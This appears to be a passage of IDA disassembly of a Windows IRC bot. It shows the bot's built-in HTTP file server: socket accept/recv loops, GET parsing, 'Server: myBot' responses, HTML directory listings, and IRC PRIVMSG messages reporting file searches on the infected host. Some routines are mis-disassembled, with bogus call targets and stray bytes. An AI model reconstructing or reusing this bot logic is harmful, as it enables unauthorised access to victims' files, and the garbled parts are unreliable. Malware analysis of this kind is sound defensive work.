loc_40F968:				; CODE XREF: sub_40F891+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4D11D8	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC77
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F99E:				; CODE XREF: sub_40F891+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4D10DC	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40FC62
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FA20
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4D1284	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC62
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F9F2
		lea	edx, [ebp+var_134]


loc_40F9E6:				; CODE XREF: sub_40F891+15Fj
		cmp	[edx], eax
		jz	short loc_40F9F2
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F9E6


loc_40F9F2:				; CODE XREF: sub_40F891+14Dj
					; sub_40F891+157j
		cmp	ecx, ebx
		jnz	short loc_40FA0F
		cmp	ebx, 40h
		jnb	short loc_40FA0F
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FA0F:				; CODE XREF: sub_40F891+163j
					; sub_40F891+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FC62
		mov	[ebp+var_8], eax
		jmp	loc_40FC62
; ---------------------------------------------------------------------------


loc_40FA20:				; CODE XREF: sub_40F891+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BC40
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4D1208	; recv
		test	eax, eax
		jg	short loc_40FAB3
		push	esi
		call	dword_4D1288	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FC62
		lea	eax, [ebp+var_134]


loc_40FA72:				; CODE XREF: sub_40F891+1EBj
		cmp	[eax], esi
		jz	short loc_40FA83
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FA72
		jmp	loc_40FC62
; ---------------------------------------------------------------------------


loc_40FA83:				; CODE XREF: sub_40F891+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FAA7
		lea	eax, [ebp+ecx*4+var_134]


loc_40FA91:				; CODE XREF: sub_40F891+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FA91


loc_40FAA7:				; CODE XREF: sub_40F891+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FC62
; ---------------------------------------------------------------------------


loc_40FAB3:				; CODE XREF: sub_40F891+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BC40
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B890
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FC62


loc_40FAE1:				; CODE XREF: sub_40F891+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FB86
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FB5A
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B890
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FB5A
		mov	eax, offset asc_43368C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C794
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C550
		add	esp, 10h
		jmp	short loc_40FB71
; ---------------------------------------------------------------------------


loc_40FB5A:				; CODE XREF: sub_40F891+27Fj
					; sub_40F891+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43BB50 ; "\r\n"
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FBA5


loc_40FB71:				; CODE XREF: sub_40F891+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FB86:				; CODE XREF: sub_40F891+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B890
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FAE1
		jmp	loc_40FC62
; ---------------------------------------------------------------------------


loc_40FBA5:				; CODE XREF: sub_40F891+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FBEF
		lea	eax, [ebp+var_134]


loc_40FBB1:				; CODE XREF: sub_40F891+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FBC2
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FBB1
		jmp	short loc_40FBF2
; ---------------------------------------------------------------------------


loc_40FBC2:				; CODE XREF: sub_40F891+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FBE6
		lea	eax, [ebp+ecx*4+var_134]


loc_40FBD0:				; CODE XREF: sub_40F891+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FBD0


loc_40FBE6:				; CODE XREF: sub_40F891+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FBF2
; ---------------------------------------------------------------------------


loc_40FBEF:				; CODE XREF: sub_40F891+318j
		mov	esi, [ebp+var_4]


loc_40FBF2:				; CODE XREF: sub_40F891+32Fj
					; sub_40F891+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FC5B
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B890
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B890
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FC5B
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4D128C	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	loc_40FE6E
		add	esp, 14h
		jmp	short loc_40FC62
; ---------------------------------------------------------------------------


loc_40FC5B:				; CODE XREF: sub_40F891+369j
					; sub_40F891+38Fj
		push	esi
		call	dword_4D1288	; closesocket


loc_40FC62:				; CODE XREF: sub_40F891+11Dj
					; sub_40F891+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F99E
		jmp	loc_40F968
; ---------------------------------------------------------------------------


loc_40FC77:				; CODE XREF: sub_40F891+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FC7C:				; CODE XREF: sub_40F891+6Aj
					; sub_40F891+92j ...
		call	dword_4D1184	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_43BB28
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FCC2
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_4099D2
		add	esp, 14h


loc_40FCC2:				; CODE XREF: sub_40F891+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	edi
		call	dword_4D1288	; closesocket
		push	[ebp+var_254]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B40000h
		xor	al, 5Fh
		pop	esi
		pop	ebx
sub_40F891	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FCEC	proc near		; DATA XREF: .nsp0:004100B4o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C1D0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41BF36
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_40FD51
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FD56
; ---------------------------------------------------------------------------


loc_40FD51:				; CODE XREF: sub_40FCEC+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FD56:				; CODE XREF: sub_40FCEC+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41BF36
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 0B40000h
		pop	esp
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 0B40000h
		pop	edx
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40FDCF
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41BF36
		add	esp, 24h
		jmp	short loc_40FDF0
; ---------------------------------------------------------------------------


loc_40FDCF:				; CODE XREF: sub_40FCEC+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41BF36
		add	esp, 28h


loc_40FDF0:				; CODE XREF: sub_40FCEC+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4D1240	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_40FE30
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4107A0
		pop	ecx
		pop	ecx
		jmp	short loc_40FE4D
; ---------------------------------------------------------------------------


loc_40FE30:				; CODE XREF: sub_40FCEC+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41011E
		add	esp, 10h


loc_40FE4D:				; CODE XREF: sub_40FCEC+142j
		push	[ebp+var_44C]
		call	dword_4D1288	; closesocket
		push	[ebp+var_B4]
		call	sub_40B32A
		pop	ecx
		push	edi
		call	near ptr 0B40000h
		mov	ah, 5Fh
		pop	esi
sub_40FCEC	endp ; sp-analysis failed



loc_40FE6E:				; CODE XREF: sub_40F891+3C0p
		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp-210h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BC40
		mov	eax, [ebp+10h]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40FEA4
		push	eax
		push	offset aS_5	; "\\%s"
		jmp	short loc_40FEAD
; ---------------------------------------------------------------------------


loc_40FEA4:				; CODE XREF: .nsp0:0040FE9Aj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_40FEAD:				; CODE XREF: .nsp0:0040FEA2j
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		lea	eax, [ebp-10Ch]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B890
		test	eax, eax
		pop	ecx
		jbe	short loc_40FF48
		mov	dword ptr [ebp+10h], 2


loc_40FED8:				; CODE XREF: .nsp0:0040FF46j
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_41B890
		cmp	[ebp+10h], eax
		pop	ecx
		jnb	short loc_40FF18
		cmp	byte ptr [ebp+esi-10Ch], 25h
		jnz	short loc_40FF18
		cmp	byte ptr [ebp+esi-10Bh], 32h
		jnz	short loc_40FF18
		cmp	byte ptr [ebp+esi-10Ah], 30h
		jnz	short loc_40FF18
		inc	esi
		mov	byte ptr [ebp+ebx-210h], 20h
		inc	esi
		add	dword ptr [ebp+10h], 2
		jmp	short loc_40FF32
; ---------------------------------------------------------------------------


loc_40FF18:				; CODE XREF: .nsp0:0040FEE8j
					; .nsp0:0040FEF2j ...
		mov	al, [ebp+esi-10Ch]
		cmp	al, 2Fh
		jnz	short loc_40FF28
		push	5Ch
		pop	eax
		jmp	short loc_40FF2B
; ---------------------------------------------------------------------------


loc_40FF28:				; CODE XREF: .nsp0:0040FF21j
		movsx	eax, al


loc_40FF2B:				; CODE XREF: .nsp0:0040FF26j
		mov	[ebp+ebx-210h],	al


loc_40FF32:				; CODE XREF: .nsp0:0040FF16j
		lea	eax, [ebp-10Ch]
		inc	esi
		inc	dword ptr [ebp+10h]
		push	eax
		inc	ebx
		call	sub_41B890
		cmp	esi, eax
		pop	ecx
		jb	short loc_40FED8


loc_40FF48:				; CODE XREF: .nsp0:0040FECFj
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_4301F8
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-314h]
		push	offset asc_430808 ; "\n"
		push	eax
		call	sub_41C794
		add	esp, 18h
		lea	eax, [ebp-314h]
		push	eax
		call	dword_427098	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40FF96
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FF99
		push	dword ptr [ebp+8]
		jmp	short loc_410015
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: .nsp0:0040FF8Aj
		mov	[ebp-4], esi


loc_40FF99:				; CODE XREF: .nsp0:0040FF8Fj
		cmp	byte ptr [ebp+ebx-211h], 5Ch
		jnz	short loc_40FFA6
		mov	[ebp-4], esi


loc_40FFA6:				; CODE XREF: .nsp0:0040FFA1j
		mov	ebx, [ebp+8]
		cmp	[ebp-4], edi
		mov	[ebp-6C4h], ebx
		mov	[ebp-318h], edi
		jz	short loc_410020
		cmp	[ebp+14h], edi
		jz	short loc_410014
		lea	eax, [ebp-314h]
		push	offset asc_42C1F0 ; "*"
		push	eax
		call	sub_41C560
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-210h]
		push	eax
		call	sub_41085D
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-53Ch]
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		or	dword ptr [ebp-330h], 0FFFFFFFFh
		mov	[ebp-31Ch], esi
		jmp	short loc_41006F
; ---------------------------------------------------------------------------


loc_410014:				; CODE XREF: .nsp0:0040FFBDj
		push	ebx


loc_410015:				; CODE XREF: .nsp0:0040FF94j
		call	dword_4D1288	; closesocket
		jmp	loc_410117
; ---------------------------------------------------------------------------


loc_410020:				; CODE XREF: .nsp0:0040FFB8j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp-314h]
		push	80000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41006F
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax


loc_41004D:				; DATA XREF: .nsp0:0043FD18o
					; .nsp0:0043FD2Co
		call	sub_41BF36
		pop	ecx


loc_410053:				; DATA XREF: .nsp0:00439351o
					; .nsp0:00439B61o
		mov	[ebp-31Ch], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 0B40000h
; ---------------------------------------------------------------------------
		db 8Fh,	56h, 89h
		dd 0FFFCD085h, 6C15FFFFh
		db 70h,	42h, 0
; ---------------------------------------------------------------------------


loc_41006F:				; CODE XREF: .nsp0:00410012j
					; .nsp0:0041003Dj
		mov	esi, [ebp+18h]
		lea	eax, [ebp-8C4h]
		push	esi
		push	offset unk_43BDA8
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp-8C4h]
		push	3
		push	eax
		call	sub_40B00E
		mov	[ebp-32Ch], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_444124[eax], esi
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-6C4h]
		push	edi
		push	eax
		push	offset sub_40FCEC
		push	edi
		push	edi
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-32Ch]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_444134[ecx], eax
		jz	short loc_4100E9


loc_4100D7:				; CODE XREF: .nsp0:004100E7j
		cmp	[ebp-318h], edi
		jnz	short loc_410117
		push	5
		call	dword_427064	; Sleep
		jmp	short loc_4100D7
; ---------------------------------------------------------------------------


loc_4100E9:				; CODE XREF: .nsp0:004100D5j
		push	ebx
		call	dword_4D1288	; closesocket
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-8C4h]
		push	offset unk_43BD70
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-8C4h]
		push	eax
		call	sub_4157A6
		add	esp, 10h


loc_410117:				; CODE XREF: .nsp0:0041001Bj
					; .nsp0:004100DDj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41011E	proc near		; CODE XREF: .nsp0:004091BAp
					; sub_40FCEC+159p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BC40
		mov	edi, [ebp+arg_0]
		push	offset asc_430808 ; "\n"
		push	edi
		call	sub_41C794
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_41017D
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 14h
		jmp	loc_41027A
; ---------------------------------------------------------------------------


loc_41017D:				; CODE XREF: sub_41011E+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_410260
		call	sub_41B890
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		push	edi
		call	sub_41B890
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		jmp	short loc_41027A
; ---------------------------------------------------------------------------


loc_410260:				; CODE XREF: sub_41011E+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 10h


loc_41027A:				; CODE XREF: sub_41011E+5Aj
					; sub_41011E+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_410312
		push	[ebp+arg_C]
		call	sub_41B890
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410312
		push	[ebp+arg_C]
		call	sub_41B890
		sub	eax, 3
		pop	ecx
		jz	short loc_4102C6


loc_4102BA:				; CODE XREF: sub_41011E+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_4102C6
		dec	eax
		jnz	short loc_4102BA


loc_4102C6:				; CODE XREF: sub_41011E+19Aj
					; sub_41011E+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send


loc_410312:				; CODE XREF: sub_41011E+17Ej
					; sub_41011E+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_42711C	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_427000	; FindNextFileA
		test	eax, eax
		jz	loc_410703
		mov	edi, 1FFh


loc_41033E:				; CODE XREF: sub_41011E+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_4106EB
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106EB
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4106EB
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 0B40000h
		push	edi
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0B40000h
		inc	esp
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_4103B3
		mov	ecx, offset aAm	; "AM"


loc_4103B3:				; CODE XREF: sub_41011E+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_4103BF
		sub	eax, 0Ch


loc_4103BF:				; CODE XREF: sub_41011E+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41BF36
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_41056C
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410440
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C030
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 28h
		jmp	loc_4106BC
; ---------------------------------------------------------------------------


loc_410440:				; CODE XREF: sub_41011E+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_41052A
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B890
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4104E0
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4104E5
; ---------------------------------------------------------------------------


loc_4104E0:				; CODE XREF: sub_41011E+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4104E5:				; CODE XREF: sub_41011E+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4106AD
; ---------------------------------------------------------------------------


loc_41052A:				; CODE XREF: sub_41011E+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C030
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_410557:				; CODE XREF: sub_41011E+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 24h
